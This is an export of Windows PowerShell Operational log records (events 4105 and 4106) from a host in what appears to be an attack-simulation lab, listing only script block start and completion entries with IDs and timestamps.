RecordNumber=2052217
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052216
Keywords=None
Message=Completed invocation of ScriptBlock ID: c0c7f9d5-37dd-4cc1-99ea-eb7c19cf64ac
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052215
Keywords=None
Message=Started invocation of ScriptBlock ID: c0c7f9d5-37dd-4cc1-99ea-eb7c19cf64ac
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052214
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052213
Keywords=None
Message=Started invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052212
Keywords=None
Message=Completed invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052211
Keywords=None
Message=Started invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052210
Keywords=None
Message=Completed invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052209
Keywords=None
Message=Started invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052208
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052207
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052206
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052205
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052204
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052203
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052202
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052201
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052200
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052199
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052198
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052197
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052196
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052195
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052194
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052193
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052192
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052191
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052190
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052189
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052188
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052187
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052186
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052185
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052184
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052183
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052182
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052181
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052180
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052179
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052178
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052177
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052176
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052175
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052174
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052173
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052172
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052171
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052170
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052169
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052168
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052167
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052166
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052165
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052164
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052163
Keywords=None
